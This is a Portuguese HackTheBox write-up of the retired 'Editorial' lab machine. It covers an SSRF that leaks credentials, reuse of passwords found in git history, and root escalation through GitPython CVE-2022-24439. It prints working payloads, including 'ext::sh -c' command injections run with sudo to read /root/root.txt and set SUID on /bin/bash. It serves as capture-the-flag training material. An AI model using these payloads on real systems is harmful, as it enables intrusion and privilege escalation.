”工欲善其事,必先利其器。“—孔子《论语.录灵公》
首页 > 编程 > HackTheBox - Writeup 社论 [已退休]

HackTheBox - Writeup 社论 [已退休]

发布于2024-11-05
浏览:114

Neste writeup iremos explorar uma máquina easy linux chamada Editorial. Esta máquina explora as seguintes vulnerabilidades e técnicas de exploração:

  • Server-side request forgery (SSRF)
  • Information Leaked
  • Git hacktricks
  • CVE-2022-24439 - Remote Code Execution (RCE)

Recon e user flag

Vamos iniciar realizando uma varredura em nosso alvo a procure de portas abertas utilizando nmap:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/boardlight]
└─# nmap -sS --open -Pn 10.129.115.37
Starting Nmap 7.93 ( https://nmap.org ) at 2024-06-15 15:06 EDT
Nmap scan report for 10.129.115.37 (10.129.115.37)
Host is up (0.15s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Temos a porta 22 rodando o ssh e a porta 80 rodando um servidor http.
Acessando a porta 80 através do ip somos redirecionados para editorial.htb, vamos adicionar esse host em nosso /etc/hosts.

Com isso conseguimos acessar o seguinte conteúdo:

HackTheBox - Writeup Editorial [Retired]

O site se trata de uma editora de livros. Dentre as opções disponíveis encontramos a seguinte página:

HackTheBox - Writeup Editorial [Retired]

Aqui conseguimos enviar livros para que sejam enviados livros para a editora. O envio pode ser feito de duas formas, realizando o upload de um arquivo localmente ou através de uma url.

Ao enviar um arquivo somos redirecionados para um endpoint similar a este:

  • http://editorial.htb/static/uploads/0483497c-293d-44a4-87af-46a85f20cb60 Acessando a url é feito o download do arquivo que enviamos anteriormente em forma de pdf.

Analisando as duas opções encontramos um SSRF ao informar um url local, enviando a seguinte url como payload: http://127.0.0.1:5000

Com isso realizamos o download do arquivo e temos o seguinte conteúdo em formato json:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/editorial]
└─# jq . requests-result/0483497c-293d-44a4-87af-46a85f20cb60
{
  "messages": [
    {
      "promotions": {
        "description": "Retrieve a list of all the promotions in our library.",
        "endpoint": "/api/latest/metadata/messages/promos",
        "methods": "GET"
      }
    },
    {
      "coupons": {
        "description": "Retrieve the list of coupons to use in our library.",
        "endpoint": "/api/latest/metadata/messages/coupons",
        "methods": "GET"
      }
    },
    {
      "new_authors": {
        "description": "Retrieve the welcome message sended to our new authors.",
        "endpoint": "/api/latest/metadata/messages/authors",
        "methods": "GET"
      }
    },
    {
      "platform_use": {
        "description": "Retrieve examples of how to use the platform.",
        "endpoint": "/api/latest/metadata/messages/how_to_use_platform",
        "methods": "GET"
      }
    }
  ],
  "version": [
    {
      "changelog": {
        "description": "Retrieve a list of all the versions and updates of the api.",
        "endpoint": "/api/latest/metadata/changelog",
        "methods": "GET"
      }
    },
    {
      "latest": {
        "description": "Retrieve the last version of api.",
        "endpoint": "/api/latest/metadata",
        "methods": "GET"
      }
    }
  ]
}

Aqui temos diversos endpoints que podemos explorar, para isso vamos utilizar o burp suite (que ja esta sendo executado em background) para realizar novas requisições.
Vamos focar inicialmente no endpoint /api/latest/metadata/messages/authors que tem a seguinte função: Retrieve the welcome message sended to our new authors

POST /upload-cover HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------346249403126403154753644150452
Content-Length: 401
Origin: http://editorial.htb
Connection: close
Referer: http://editorial.htb/upload

-----------------------------346249403126403154753644150452
Content-Disposition: form-data; name="bookurl"

http://127.0.0.1:5000/api/latest/metadata/messages/authors
-----------------------------346249403126403154753644150452
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream


-----------------------------346249403126403154753644150452--

Com isso temos o seguinte retorno:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 22 Jun 2024 11:53:31 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 51

static/uploads/413c49ad-8adb-4bbb-9579-8a13e870ff5f

Agora vamos realizar um get request para este endpoint:

GET /static/uploads/413c49ad-8adb-4bbb-9579-8a13e870ff5f HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://editorial.htb/upload

E assim temos o seguinte retorno:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 22 Jun 2024 11:53:42 GMT
Content-Type: application/octet-stream
Content-Length: 506
Connection: close
Content-Disposition: inline; filename=413c49ad-8adb-4bbb-9579-8a13e870ff5f
Last-Modified: Sat, 22 Jun 2024 11:53:31 GMT
Cache-Control: no-cache
ETag: "1719057211.219647-506-4209449183"

{"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}

Temos novamente um retorno em formato json. Neste temos uma mensagem de boas vindas para novos autores e também um usuário e senha:
Username: dev
Password: dev080217_devAPI!@

Com este usuário e senha conseguimos acesso ssh ao nosso alvo:

┌──(root㉿kali)-[/home/kali]
└─# ssh [email protected]
The authenticity of host 'editorial.htb (10.129.101.138)' can't be established.
ED25519 key fingerprint is SHA256:YR ibhVYSWNLe4xyiPA0g45F4p1pNAcQ7 xupfIR70Q.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'editorial.htb' (ED25519) to the list of known hosts.
[email protected]'s password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sat Jun 22 11:54:05 AM UTC 2024

  System load:           0.0
  Usage of /:            60.4% of 6.35GB
  Memory usage:          12%
  Swap usage:            0%
  Processes:             225
  Users logged in:       0
  IPv4 address for eth0: 10.129.101.138
  IPv6 address for eth0: dead:beef::250:56ff:feb0:6c4b


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Jun 10 09:11:03 2024 from 10.10.14.52
dev@editorial:~$ 

E com este usuário conseguimos a user flag!

dev@editorial:~$ ls -a
.  ..  apps  .bash_history  .bash_logout  .bashrc  .cache  .profile  user.txt
dev@editorial:~$ cat user.txt
389072ccb7be77e63a1590defe01750e

Escalação de privilégios e root flag

No diretório home do usuário dev temos um diretório chamado apps. Acessando este diretório temos o seguinte conteúdo:

dev@editorial:~/apps$ ls -alh
total 12K
drwxrwxr-x 3 dev dev 4.0K Jun  5 14:36 .
drwxr-x--- 4 dev dev 4.0K Jun  5 14:36 ..
drwxr-xr-x 8 dev dev 4.0K Jun  5 14:36 .git

Existe somente um diretório chamado .git. O diretório .git registra todas as alterações em um projeto, registrando toda a história do projeto.
Com isso conseguimos visualizar o histórico de commits:

dev@editorial:~/apps$ git log
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama 
Date:   Sun Apr 30 21:04:21 2023 -0500

    fix: bugfix in api port endpoint

commit dfef9f20e57d730b7d71967582035925d57ad883
Author: dev-carlos.valderrama 
Date:   Sun Apr 30 21:01:11 2023 -0500

    change: remove debug and update api port

commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama 
Date:   Sun Apr 30 20:55:08 2023 -0500

    change(api): downgrading prod to dev

    * To use development environment.

commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama 
Date:   Sun Apr 30 20:51:10 2023 -0500

    feat: create api to editorial info

    * It (will) contains internal info about the editorial, this enable
       faster access to information.

commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
Author: dev-carlos.valderrama 
Date:   Sun Apr 30 20:48:43 2023 -0500

    feat: create editorial app

    * This contains the base of this project.
    * Also we add a feature to enable to external authors send us their
       books and validate a future post in our editorial.

Dentre os commits existe o seguinte:

commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama 
Date:   Sun Apr 30 20:55:08 2023 -0500

    change(api): downgrading prod to dev

    * To use development environment.

Foi feito um downgrade dos dados de produção para desenvolvimento, aqui podemos encontrar informações importantes.
Para visualizar o conteúdo deste commit vamos utilizar o comando git revert, que irá reverter as alterações e voltar o projeto para este commit:

dev@editorial:~/apps$ git revert b73481bb823d2d
Auto-merging app_api/app.py
[master 238ee48] Revert "change(api): downgrading prod to dev"
 1 file changed, 1 insertion( ), 1 deletion(-)
dev@editorial:~/apps$ ls -alh
total 16K
drwxrwxr-x 4 dev dev 4.0K Jun 22 12:10 .
drwxr-x--- 6 dev dev 4.0K Jun 22 12:10 ..
drwxrwxr-x 2 dev dev 4.0K Jun 22 12:10 app_api
drwxr-xr-x 8 dev dev 4.0K Jun 22 12:10 .git
dev@editorial:~/apps$ cd app_api/
dev@editorial:~/apps/app_api$ ls -alh
total 12K
drwxrwxr-x 2 dev dev 4.0K Jun 22 12:10 .
drwxrwxr-x 4 dev dev 4.0K Jun 22 12:10 ..
-rw-rw-r-- 1 dev dev 2.8K Jun 22 12:10 app.py

Temos um arquivo chamdo app.py, vamos visualizar o conteúdo dele:

dev@editorial:~/apps/app_api$ cat app.py
# API (in development).
# * To retrieve info about editorial

import json
from flask import Flask, jsonify

# -------------------------------
# App configuration
# -------------------------------
app = Flask(__name__)

# -------------------------------
# Global Variables
# -------------------------------
api_route = "/api/latest/metadata"
api_editorial_name = "Editorial Tiempo Arriba"
api_editorial_email = "[email protected]"

# -------------------------------
# API routes
# -------------------------------
# -- : home
@app.route('/api', methods=['GET'])
def index():
    data_editorial = {
        'version': [{
            '1': {
                'editorial': 'Editorial El Tiempo Por Arriba',
                'contact_email_1': '[email protected]',
                'contact_email_2': '[email protected]',
                'api_route': '/api/v1/metadata/'
            }},
            {
            '1.1': {
                'editorial': 'Ed Tiempo Arriba',
                'contact_email_1': '[email protected]',
                'contact_email_2': '[email protected]',
                'api_route': '/api/v1.1/metadata/'
            }},
            {
            '1.2': {
                'editorial': api_editorial_name,
                'contact_email_1': '[email protected]',
                'contact_email_2': '[email protected]',
                'api_route': f'/api/v1.2/metadata/'
            }},
            {
            '2': {
                'editorial': api_editorial_name,
                'contact_email': '[email protected]',
                'api_route': f'/api/v2/metadata/'
            }},
            {
            '2.3': {
                'editorial': api_editorial_name,
                'contact_email': api_editorial_email,
                'api_route': f'{api_route}/'
            }
        }]
    }
    return jsonify(data_editorial)

# -- : (development) mail message to new authors
@app.route(api_route   '/authors/message', methods=['GET'])
def api_mail_new_authors():
    return jsonify({
        'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, "   api_editorial_name   " Team."
    }) # TODO: replace dev credentials when checks pass

# -------------------------------
# Start program
# -------------------------------
if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000)

Aqui temos endpoints similares ao que encontramos via SSRF inicialmente. A diferença é que os dados de acesso são de outro usuário:

Username: prod
Password: 080217_Producti0n_2023!@

Visualizando os usuários que temos em nosso alvo e que possuem um shell ativo, temos os seguintes usuários:

dev@editorial:~/apps$ grep bash /etc/passwd
root:x:0:0:root:/root:/bin/bash
prod:x:1000:1000:Alirio Acosta:/home/prod:/bin/bash
dev:x:1001:1001::/home/dev:/bin/bash

Existe um usuário chamado prod. Podemos utilizar essa nova senha para utilizar este usuário:

dev@editorial:~/apps$ su prod
Password: 
prod@editorial:/home/dev/apps$

Com o novo usuário podemos ver que conseguimos executar um script em python com sudo, o que nos garante permissões de root:

prod@editorial:~$ sudo -l
[sudo] password for prod:
Matching Defaults entries for prod on editorial:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User prod may run the following commands on editorial:
    (root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *

O comando é para executar um script em python que aceita qualquer parâmetro, por conta do asterisco *.
Podemos visualizar o conteúdo do script para ver o que conseguimos executar:

prod@editorial:~$ cd /opt/internal_apps/clone_changes/
prod@editorial:/opt/internal_apps/clone_changes$ ls -alh
total 12K
drwxr-x--- 2 root     prod     4.0K Jun  5 14:36 .
drwxr-xr-x 5 www-data www-data 4.0K Jun  5 14:36 ..
-rwxr-x--- 1 root     prod      256 Jun  4 11:30 clone_prod_change.py
prod@editorial:/opt/internal_apps/clone_changes$ cat clone_prod_change.py
#!/usr/bin/python3

import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')

url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

Não temos permissões para editar o arquivo, somente executar. O script utiliza bibliotecas do python os e sys, que permite executar ações no linux.
O script aceita um parâmetro, para isso é utilizado a lib sys do python.
É feito uma troca de diretório para /opt/internal_apps/clone_changes utilizando a função chdir da lib os do python.

Agora utilizando outra lib do python chamada git é feito um git init, que inicializa um repositório.
O parâmetro que é aceito pelo script deve ser um repositório, para que seja feito um git clone utilizando esta mesma lib git.

Podemos buscar por vulnerabilidades nessa lib, para isso vamos precisar pegar a versão através do pip, que é um gerenciador de pacotes do python:

prod@editorial:/opt/internal_apps/clone_changes$ pip3 list | grep -i git
gitdb                 4.0.10
GitPython             3.1.29

Buscando por vulnerabilidades encontramos a CVE-2022-24439, que se trata de um Remote Code Execution devido a uma validação inadequada do input do usuário.
Esta vulnerabilidade foi relatada pela Snyk, que também disponibilizou uma PoC.

Podemos alterar a poc para ler arquivos como root ou elevar nosso acesso para root.

Para ler arquivos podemos executar o seguinte comando:

prod@editorial:/opt/internal_apps/clone_changes$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c cat% /root/root.txt% >% /tmp/root.txt"
Traceback (most recent call last):
  File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in 
    r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
    return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
    finalize_process(proc, stderr=stderr)
  File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
    proc.wait(**kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
    raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
  cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c cat% /root/root.txt% >% /tmp/root.txt new_changes
  stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
'
prod@editorial:/opt/internal_apps/clone_changes$ ls -a /tmp/
.           root.txt                                                                           .Test-unix
..          systemd-private-19d905d0323a421c8583b199cfdbc508-ModemManager.service-k9pcm7       tmux-1001
.font-unix  systemd-private-19d905d0323a421c8583b199cfdbc508-systemd-logind.service-OAF5Lb     vmware-root_793-4248746047
.ICE-unix   systemd-private-19d905d0323a421c8583b199cfdbc508-systemd-resolved.service-LyFZ7m   .X11-unix
pwned       systemd-private-19d905d0323a421c8583b199cfdbc508-systemd-timesyncd.service-Owf84r  .XIM-unix
prod@editorial:/opt/internal_apps/clone_changes$ cat /tmp/root.txt
3b41e79604a2b5ab7a462fe51e4491cc

E assim conseguimos ler a root flag.

Podemos também adicionar o sticky bit no arquivo /bin/bash, desta forma conseguimos ganhar um shell como root. O sticky bit permite que outros usuários possam utilizar o arquivo, ou binário com permissões do dono do arquivo, neste caso é o usuário root. Adicionando no /bin/bash conseguimos um shell como root:

prod@editorial:/home/dev/apps$ stat /bin/bash
  File: /bin/bash
  Size: 1396520         Blocks: 2728       IO Block: 4096   regular file
Device: fd00h/64768d    Inode: 4694        Links: 1
Access: (0755/-rwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2024-06-23 14:47:02.027998536  0000
Modify: 2024-03-14 11:31:47.000000000  0000
Change: 2024-06-05 14:36:10.952041259  0000
 Birth: 2024-06-04 14:02:32.920041258  0000

prod@editorial:/opt/internal_apps/clone_changes$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c chmod% u s% /bin/bash"
Traceback (most recent call last):
  File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in 
    r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
    return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
    finalize_process(proc, stderr=stderr)
  File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
    proc.wait(**kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
    raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
  cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c chmod% u s% /bin/bash new_changes
  stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
'
prod@editorial:/opt/internal_apps/clone_changes$ stat /bin/bash
  File: /bin/bash
  Size: 1396520         Blocks: 2728       IO Block: 4096   regular file
Device: fd00h/64768d    Inode: 4694        Links: 1
Access: (4755/-rwsr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2024-06-22 09:39:01.331999178  0000
Modify: 2024-03-14 11:31:47.000000000  0000
Change: 2024-06-22 13:54:52.571329190  0000
 Birth: 2024-06-04 14:02:32.920041258  0000
prod@editorial:/opt/internal_apps/clone_changes$ /bin/bash -p
bash-5.1# id
uid=1000(prod) gid=1000(prod) euid=0(root) groups=1000(prod)

E assim finalizamos a máquina Editorial!

HackTheBox - Writeup Editorial [Retired]

版本声明 本文转载于:https://dev.to/mrtnsgs/hackthebox-writeup-editorial-retired-2pcn?1如有侵犯,请联系[email protected]删除
最新教程 更多>
  • 如何在 Serp 中排名 4
    如何在 Serp 中排名 4
    搜索引擎排名页面 (SERP) 是网站争夺可见性和流量的地方。到 2024 年,在 Google 和其他搜索引擎上的高排名仍然对在线成功至关重要。然而,SEO(搜索引擎优化)多年来已经发生了变化,并将继续发展。如果您想知道如何在 2024 年提高 SERP 排名,这里有一个简单的指南可以帮助您了解最...
    编程 发布于2024-11-05
  • 如何使用多处理在 Python 进程之间共享锁
    如何使用多处理在 Python 进程之间共享锁
    在 Python 中的进程之间共享锁当尝试使用 pool.map() 来定位具有多个参数(包括 Lock() 对象)的函数时,它是对于解决子进程之间共享锁的问题至关重要。由于 pickling 限制,传统的 multiprocessing.Lock() 无法直接传递给 Pool 方法。选项 1:使用...
    编程 发布于2024-11-05
  • Type Script 中 readonly 和 const 的区别
    Type Script 中 readonly 和 const 的区别
    这两个功能的相似之处在于它们都是不可分配的。 能具体解释一下吗? 在这篇文章中,我将分享它们之间的区别。 const 防止重新分配给变量。 在这种情况下,hisName 是一个不能重新分配的变量。 const hisName = 'Michael Scofield' hisName ...
    编程 发布于2024-11-05
  • 如何使用 Range 函数在 Python 中复制 C/C++ 循环语法?
    如何使用 Range 函数在 Python 中复制 C/C++ 循环语法?
    Python 中的 for 循环:扩展 C/C 循环语法在编程中,for 循环是迭代序列的基本结构。虽然 C/C 采用特定的循环初始化语法,但 Python 提供了更简洁的方法。不过,Python 中有一种模仿 C/C 循环风格的方法。实现循环操作:for (int k = 1; k <= c...
    编程 发布于2024-11-05
  • TechEazy Consulting 推出全面的 Java、Spring Boot 和 AWS 培训计划并提供免费实习机会
    TechEazy Consulting 推出全面的 Java、Spring Boot 和 AWS 培训计划并提供免费实习机会
    TechEazy Consulting 很高兴地宣布推出我们的综合培训计划,专为希望转向后端开发使用Java、Spring Boot的初学者、新手和专业人士而设计,以及 AWS。 此4个月的带薪培训计划之后是2个月的无薪实习,您可以在实际项目中应用您的新技能——无需任何额外的培训费用。对于那些希望填...
    编程 发布于2024-11-05
  • Polyfills——填充物还是缝隙? (第 1 部分)
    Polyfills——填充物还是缝隙? (第 1 部分)
    几天前,我们在组织的 Teams 聊天中收到一条优先消息,内容如下:发现安全漏洞 - 检测到 Polyfill JavaScript - HIGH。 举个例子,我在一家大型银行公司工作,你必须知道,银行和安全漏洞就像主要的敌人。因此,我们开始深入研究这个问题,并在几个小时内解决了这个问题,我将在下面...
    编程 发布于2024-11-05
  • 移位运算符和按位简写赋值
    移位运算符和按位简写赋值
    1。移位运算符 :向右移动。 >>>:无符号右移(零填充)。 2.移位运算符的一般语法 value > num-bits:将值位向右移动,保留符号位。 value >>> num-bits:通过在左侧插入零将值位向右移动。 3.左移 每次左移都会导致该值的所有位向左移动一位。 右侧插入0位。 效果:...
    编程 发布于2024-11-05
  • 如何使用 VBA 从 Excel 建立与 MySQL 数据库的连接?
    如何使用 VBA 从 Excel 建立与 MySQL 数据库的连接?
    VBA如何在Excel中连接到MySQL数据库?使用VBA连接到MySQL数据库尝试连接使用 VBA 在 Excel 中访问 MySQL 数据库有时可能具有挑战性。在您的情况下,您在尝试建立连接时遇到错误。要使用 VBA 成功连接到 MySQL 数据库,请按照下列步骤操作:Sub ConnectDB...
    编程 发布于2024-11-05
  • 测试自动化:使用 Java 和 TestNG 进行 Selenium 指南
    测试自动化:使用 Java 和 TestNG 进行 Selenium 指南
    测试自动化已成为软件开发过程中不可或缺的一部分,使团队能够提高效率、减少手动错误并以更快的速度交付高质量的产品。 Selenium 是一个用于自动化 Web 浏览器的强大工具,与 Java 的多功能性相结合,为构建可靠且可扩展的自动化测试套件提供了一个强大的框架。使用 Selenium Java 进...
    编程 发布于2024-11-05
  • 我对 DuckDuckGo 登陆页面的看法
    我对 DuckDuckGo 登陆页面的看法
    “你为什么不谷歌一下呢?”是我在对话中得到的常见答案。谷歌的无处不在甚至催生了新的动词“谷歌”。但是我编写的代码越多,我就越质疑我每天使用的数字工具。也许我对谷歌使用我的个人信息的方式不再感到满意。或者我们很多人依赖谷歌进行互联网搜索和其他应用程序,说实话,我厌倦了在搜索某个主题或产品后弹出的广告,...
    编程 发布于2024-11-05
  • 为什么 Turbo C++ 的“cin”只读取第一个字?
    为什么 Turbo C++ 的“cin”只读取第一个字?
    Turbo C 的“cin”限制:仅读取第一个单词在 Turbo C 中,“cin”输入运算符有一个处理字符数组时的限制。具体来说,它只会读取直到遇到空白字符(例如空格或换行符)。尝试读取多字输入时,这可能会导致意外行为。请考虑以下 Turbo C 代码:#include <iostream....
    编程 发布于2024-11-05
  • 使用 Buildpack 创建 Spring Boot 应用程序的 Docker 映像
    使用 Buildpack 创建 Spring Boot 应用程序的 Docker 映像
    介绍 您已经创建了一个 Spring Boot 应用程序。它在您的本地计算机上运行良好,现在您需要将该应用程序部署到其他地方。在某些平台上,您可以直接提交jar文件,它将被部署。在某些地方,您可以启动虚拟机,下载源代码,构建并运行它。但是,大多数时候您需要使用容器来部署应用程序。大...
    编程 发布于2024-11-05
  • 如何保护 PHP 代码免遭未经授权的访问?
    如何保护 PHP 代码免遭未经授权的访问?
    保护 PHP 代码免遭未经授权的访问保护 PHP 软件背后的知识产权对于防止其滥用或盗窃至关重要。为了解决这个问题,可以使用多种方法来混淆和防止未经授权的访问您的代码。一种有效的方法是利用 PHP 加速器。这些工具通过缓存频繁执行的部分来增强代码的性能。第二个好处是,它们使反编译和逆向工程代码变得更...
    编程 发布于2024-11-05
  • React:了解 React 的事件系统
    React:了解 React 的事件系统
    Overview of React's Event System What is a Synthetic Event? Synthetic events are an event-handling mechanism designed by React to ach...
    编程 发布于2024-11-05
  • 为什么在使用 Multipart/Form-Data POST 请求时会收到 301 Moved Permanently 错误?
    为什么在使用 Multipart/Form-Data POST 请求时会收到 301 Moved Permanently 错误?
    Multipart/Form-Data POSTs尝试使用 multipart/form-data POST 数据时,可能会出现类似所提供的错误消息遭遇。理解问题需要检查问题的构成。遇到的错误是 301 Moved Permanently 响应,表明资源已被永久重定向。当未为 multipart/f...
    编程 发布于2024-11-05

免责声明: 提供的所有资源部分来自互联网,如果有侵犯您的版权或其他权益,请说明详细缘由并提供版权或权益证明然后发到邮箱:[email protected] 我们会第一时间内为您处理。

Copyright© 2022 湘ICP备2022001581号-3